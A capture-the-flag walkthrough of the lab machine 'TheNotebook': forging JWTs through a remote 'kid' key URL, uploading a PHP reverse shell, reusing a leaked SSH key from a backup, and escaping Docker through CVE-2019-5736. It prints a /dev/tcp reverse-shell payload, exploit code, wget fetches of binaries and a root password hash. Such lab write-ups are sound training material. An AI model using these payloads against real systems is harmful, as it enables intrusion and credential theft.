Name | TheNotebook | |
Difficulty | Medium | |
Release Date | 2021-03-06 | |
Retired Date | <don’t know> | |
IP Address | 10.10.10.230 | |
OS | Linux | |
Points | 30 |
The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.
foothold
As usual on other boxes, I started this one running an nmap
scan:
# Nmap 7.80 scan initiated Thu Jun 3 23:32:15 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.058s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 3 23:32:43 2021 -- 1 IP address (1 host up) scanned in 28.39 seconds
Nothing out of the ordinary. Let’s start a gobuster
instance and start checking out the site.
Not much to see on the website. Let’s see gobuster
’s results:
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.230
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/03 23:33:07 Starting gobuster
===============================================================
/admin (Status: 403)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
===============================================================
2021/06/03 23:35:48 Finished
===============================================================
Nothing much either…. basically the endpoints from the site plus that /admin
that just returns a 403, so we can’t access it.
Just for a little sanity check, I’ll just ran nikto
on the site:
- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.230
+ Target Hostname: 10.10.10.230
+ Target Port: 80
+ Start Time: 2021-06-03 23:36:14 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.14.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
Illegal hexadecimal digit '.' ignored at /usr/share/nikto/plugins/nikto_headers.plugin line 108.
+ Server leaks inodes via ETags, header found with file /static/favicon.ico, inode: 94579930148, size: 87046, mtime: Sat Jan 31 07:04:35 2026
+ Allowed HTTP Methods: OPTIONS, HEAD, GET
+ 5053 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2021-06-03 23:41:17 (GMT1) (303 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nothing out of the ordinary too. Ok, problem must be on the website itself then. Let’s start by registering a user:
Register isn’t just a dummy function, it actually works, and now we can register some notes with the system. I tried to do some basic XSS on the site but nothing worked as far as I can tell, so I started to analyze the site’s sources and data.
While looking at the source code, I noticed the site also stores cookies on the browser:
auth
looks like it’s storing some base64 encoded datauuid
has our uuid
I immediately recognized the format as a JSON Web Tokens, which is composed by 3 parts: header, payload and signature. All parts are split up by .
and the signature part is what verifies that the contents of the header and the payload parts weren’t tampered between the server sending them and getting them back (so, on the client or in transit). I went ahead and decoded it:
The interesting part is this one:
HEADER:ALGORITHM & TOKEN TYPE
{
"typ": "JWT",
"alg": "RS256",
"kid": "http://localhost:7070/privKey.key"
}
PAYLOAD:DATA
{
"username": "r3pek",
"email": "r3pek@thenotebook.htb",
"admin_cap": 0
}
So the Payload
part is relative to the logged in user, and there’s a special field that denotes if the user is admin or not (or at least is what I thought it was). The header also has a problem… While we actually can’t access the privKey.key
file because it’s running on a service on port 7000 and we can’t get there (nmap
didn’t show port 7000 as opened), this means it’s actually validating the signature against a remote private key. What that means is that we can actually create a new key to sign the content, change whatever we want, place the private key on a webserver that the box can connect to, and the signature will be valid but different than the one they sent us. If the server doesn’t validate the signature as its own, we’re gold!
So first, let’s create and key pair that can be used to sign our cookie:
$ ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
$ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
Now we need to actually generate that cookie. For that, I went ahead and created a simple python script to generate it for me:
1from jwt import JWT, jwk_from_pem
2
3key_pvt = "jwtRS256.key"
4with open(key_pvt, 'rb') as fh:
5 signing_key = jwk_from_pem(fh.read())
6
7
8instance = JWT()
9payload = { "username": "r3pek", "email": "r3pek@thenotebook.htb", "admin_cap":"1" }
10cookie = instance.encode(payload, signing_key, alg="RS256", optional_headers={"kid": "http://10.10.14.234:9000/jwtRS256.key"})
11
12print(cookie)
When executed, this will generate the cookie ready to be changed on the browser:
$ python generate_cookie.py
eyJraWQiOiJodHRwOi8vMTAuMTAuMTQuMjM0OjkwMDAvand0UlMyNTYua2V5IiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJ1c2VybmFtZSI6ICJyM3BlayIsICJlbWFpbCI6ICJyM3Bla0B0aGVub3RlYm9vay5odGIiLCAiYWRtaW5fY2FwIjogIjEifQ.XOwL2P6n1-MwndHhIGg7PpPFwkzQEMPwc0LrZ5hzDdkrGmL2uQ2q4T3svtXeBLCGfCcJhFdRumTORdPF4Z9Yd0hvkkV4SagzJiyYHiCqm7bgpKzLdw4-tXBmWgswNWZFu4ZZA3anWh-tsUXgy5ktmre0Joe_jRR3hCO7PXEJp2QKoHV8rEHvFwhbjEOz09qQcWzgUmL08AQ95QMNlRZZbwPYW73U-FQUpCj-wChGBHOPDDRUQnQY4C97WEnJZnv9sGYsK6XdYEtuLp-tOljRaBsMr66YE7vM-cIrfehEeEmwrJKcZR6EM7MzDZ19ogfRbM0b1WJ1WDGU7Ea_gZnvIs6SViizIxuR7NTqVSgRDAvDVMtTHL0IFRZGv9yq-fDdMYNk4hIP98C5J5Itu8crqJfjuxzCKnn9o5IjIIRC2DM3QPkmYdUlWHi3UzxtW1cvmAFRJTf3Ybob5N0fBOit3FBzBY54OUUBP--mc-oufFBLem7ixsUKC0E6P7vsfTBbFMz2WrOE8U3ZI_QTMhZwdOOYERWYja-IptLPtsg5HuyvJH2KyQ7Zd86TNLRxjLACtpdxHZZSoeLrlK-A8jpMZmsY6V0jivbIg_IOCgCVZtltYhlDgLNmD3jqwui6HaH_KYiwgB8O__XULxz9ZNTJf_yGlQB5IeUfcajIXmoK0B0
And now we have access to the Admin section of the site where we can “View Notes” and “Upload File”. Let’s start with the “View Notes”:
Here we can read all notes of the site, from every user. The first ones are actually some “admin” notes:
Need to fix config
: Have to fix this issue where PHP files are being executed :/. This can be a potential security issue for the server.Backups are scheduled
: Finally! Regular backups are necessary. Thank god it’s all easy on server.The Notebook Quotes
: <to big to actually add here but it’s just a big text>Is my data safe?
: I wonder is the admin good enough to trust my data with?
Looks like there were some questioning about the safety of the data (with good reason if you ask me 😉). That first note did actually make me think. We can upload files on the admin section. Maybe I’ll just upload a php reverse shell and see how it goes? 😇
After the necessary changes to the php file, we have this:
Now, we press “View” and…
$ nc -nlvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.230.
Ncat: Connection from 10.10.10.230:58358.
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
01:27:10 up 12:35, 2 users, load average: 0.02, 0.05, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
We have our foothold as www-data
user!
user flag
A quick check for users on the system showed me that there is a noah
user and that he has the user flag so we need to find a away to get there.
$ ls /home -lh
total 4.0K
drwxr-xr-x 5 noah noah 4.0K Feb 23 08:57 noah
$ ls /home/noah -lh
total 4.0K
-r-------- 1 noah noah 33 Jun 6 01:30 user.txt
After looking around for a while getting nowhere, I remembered the second “admin” note that exists on the site that talks about backups. Maybe we should check the /var/backups
directory:
$ cd /var/backups
$ ls
apt.extended_states.0
apt.extended_states.1.gz
apt.extended_states.2.gz
home.tar.gz
$ tar -tvf home.tar.gz
drwxr-xr-x root/root 0 2021-02-12 06:24 home/
drwxr-xr-x noah/noah 0 2021-02-17 09:02 home/noah/
-rw-r--r-- noah/noah 220 2018-04-04 18:30 home/noah/.bash_logout
drwx------ noah/noah 0 2021-02-16 10:47 home/noah/.cache/
-rw-r--r-- noah/noah 0 2021-02-16 10:47 home/noah/.cache/motd.legal-displayed
drwx------ noah/noah 0 2021-02-12 06:25 home/noah/.gnupg/
drwx------ noah/noah 0 2021-02-12 06:25 home/noah/.gnupg/private-keys-v1.d/
-rw-r--r-- noah/noah 3771 2018-04-04 18:30 home/noah/.bashrc
-rw-r--r-- noah/noah 807 2018-04-04 18:30 home/noah/.profile
drwx------ noah/noah 0 2021-02-17 08:59 home/noah/.ssh/
-rw------- noah/noah 1679 2021-02-17 08:59 home/noah/.ssh/id_rsa
-rw-r--r-- noah/noah 398 2021-02-17 08:59 home/noah/.ssh/authorized_keys
-rw-r--r-- noah/noah 398 2021-02-17 08:59 home/noah/.ssh/id_rsa.pub
Oh, this notes are coming in handy 😉. We now have a “public private key” to login as noah
🥳
With a simple copy/paste I recreated the files locally and tried to login:
$ chmod 600 noah-id_rsa*
$ ls noah-id_rsa*
-rw-------. 1 r3pek admins 1.7K Jun 5 02:31 noah-id_rsa
-rw-------. 1 r3pek admins 398 Jun 5 02:31 noah-id_rsa.pub
$ ssh noah@10.10.10.230 -i noah-id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jun 6 01:36:14 UTC 2021
System load: 0.0 Processes: 177
Usage of /: 40.0% of 7.81GB Users logged in: 0
Memory usage: 12% IP address for ens160: 10.10.10.230
Swap usage: 0% IP address for docker0: 172.17.0.1
61 packages can be updated.
0 updates are security updates.
Last login: Wed Feb 24 09:09:34 2021 from 10.10.14.5
noah@thenotebook:~$ cat user.txt
556dcc5f62e8f37bc7f91014c346f11f
noah@thenotebook:~$
user flag accomplished 😃!
root flag
Now for the root flag we start with our usual sudo -l
:
noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
---
We can run a docker container as root? Weird. Can this be the famous docker escape vulnerability?
I searched the system a little more but it really looked like that was the way to go. With that in mind, I search for PoCs and found several of them. There are PoCs based on images that we actually can’t use because we can only run a fixed image (webapp-dev01
), so I just have to ditch those. I ended up using these 2:
Frichetten
: One stage and coded in Gofeexd
: Two stages and coded in C
I actually tried for 5 or 6 hours to get the Frichetten
one to execute properly, while the other one was just strait simple. I’ll just describe the two in here.
First you need to get into the container, and for that just start it like this:
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@0f4c2517af40:/opt/webapp# cd
root@0f4c2517af40:~# ls
root@0f4c2517af40:~# pwd
/root
root@0f4c2517af40:~#
⚠️ Test first with
/bin/sh
. If it prints a message sayingNo help topic for '/bin/sh'
the exploit won’t work. Wait until the box fixes itself and then start the exploitation process (you should be able to run the container with/bin/sh
). If it takes too long, just reset the box.
Frichetten’s PoC
To get this version working, just download main.go
and edit the payload line to something like this:
// This is the line of shell commands that will execute on the host
//var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
var payload = "#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.234/5555 0>&1"
Then, compile the binary and send it to the container (I just used wget
to download the file from a python -m http.server
process).
$ go build main.go
This will build the binary file that you can then download in the container:
root@0f4c2517af40:~# wget http://10.10.14.234:9000/CVE-2019-5736
--2021-06-06 01:54:49-- http://10.10.14.234:9000/CVE-2019-5736
Connecting to 10.10.14.234:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2139997 (2.0M) [application/octet-stream]
Saving to: ‘CVE-2019-5736’
CVE-2019-5736 100%[==================>] 2.04M 4.86MB/s in 0.4s
2021-06-06 01:54:50 (4.86 MB/s) - ‘CVE-2019-5736’ saved [2139997/2139997]
root@0f4c2517af40:~# chmod +x CVE-2019-5736
root@0f4c2517af40:~#
Now, the important part, and what made me loose too much time using this PoC (maybe I did it wrong), is that it has a really tight timing for you be able to exploit it. So, for it to work, as soon as you see the line [+] Overwritten /bin/sh successfully
appear, immediately run the same command as before to open a shell on the container but with /bin/sh
instead of /bin/bash
. If you can’t get it, just wait for the box to clean up the state (you won’t be able to run any docker images anymore) which it does automatically, and try again.
In the end, you should see something like this:
feexd’s PoC
This version is a little more forgiven on the timing and I was able to more easily get the root reverse shell working. Basically, you edit payload.c
to add your IP/PORT information:
⚠️ be careful because the PORT is hardcoded on line 17. Change it to use the
PORT
define
8#define HOST "10.10.14.234"
9#define PORT 5555
10
11int main (int argc, char **argv) {
12 int scktd;
13 struct sockaddr_in client;
14
15 client.sin_family = AF_INET;
16 client.sin_addr.s_addr = inet_addr(HOST);
17 client.sin_port = htons(PORT);
18 //...
19}
After this, just compile the files and send them, along with the pwn.sh, to the docker container as in the Frichetten’s method:
$ gcc -s payload.c -o payload -Wall
$ gcc -s exploit.c -o exploit -Wall
$
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@446efbea8dc8:/opt/webapp# cd
root@446efbea8dc8:~# wget http://10.10.14.234:9000/exploit/exploit
--2021-06-06 02:08:22-- http://10.10.14.234:9000/exploit/exploit
Connecting to 10.10.14.234:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21400 (21K) [application/octet-stream]
Saving to: ‘exploit’
exploit 100%[==================>] 20.90K --.-KB/s in 0.07s
2021-06-06 02:08:22 (313 KB/s) - ‘exploit’ saved [21400/21400]
root@446efbea8dc8:~# wget http://10.10.14.234:9000/exploit/payload
--2021-06-06 02:08:28-- http://10.10.14.234:9000/exploit/payload
Connecting to 10.10.14.234:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21384 (21K) [application/octet-stream]
Saving to: ‘payload’
payload 100%[==================>] 20.88K --.-KB/s in 0.05s
2021-06-06 02:08:28 (419 KB/s) - ‘payload’ saved [21384/21384]
root@446efbea8dc8:~# wget http://10.10.14.234:9000/exploit/pwn.sh
--2021-06-06 02:08:38-- http://10.10.14.234:9000/exploit/pwn.sh
Connecting to 10.10.14.234:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 455 [application/x-sh]
Saving to: ‘pwn.sh’
pwn.sh 100%[==================>] 455 --.-KB/s in 0.02s
2021-06-06 02:08:38 (22.5 KB/s) - ‘pwn.sh’ saved [455/455]
root@446efbea8dc8:~# ls
exploit payload pwn.sh
root@446efbea8dc8:~# chmod +x *
root@446efbea8dc8:~#
This version of the exploit takes more time to finish but just execute pwn.sh
and as soon as it finishes (it will print a message saying Payload deployed
), launch the second docker container with /bin/sh
as command. Again, if it doesn’t work, wait a little for the box to reset the files to the default ones and try again.
There we go, two methods of getting the root
flag 🥳
root password hash
$6$OZ7vREXE$yXjcCfK6rhgAfN5oLisMiB8rE/uoZb7hSqTOYCUTF8lNPXgEiHi7zduz1mrTWtFnhKOCZA9XZu12osORyYnKF.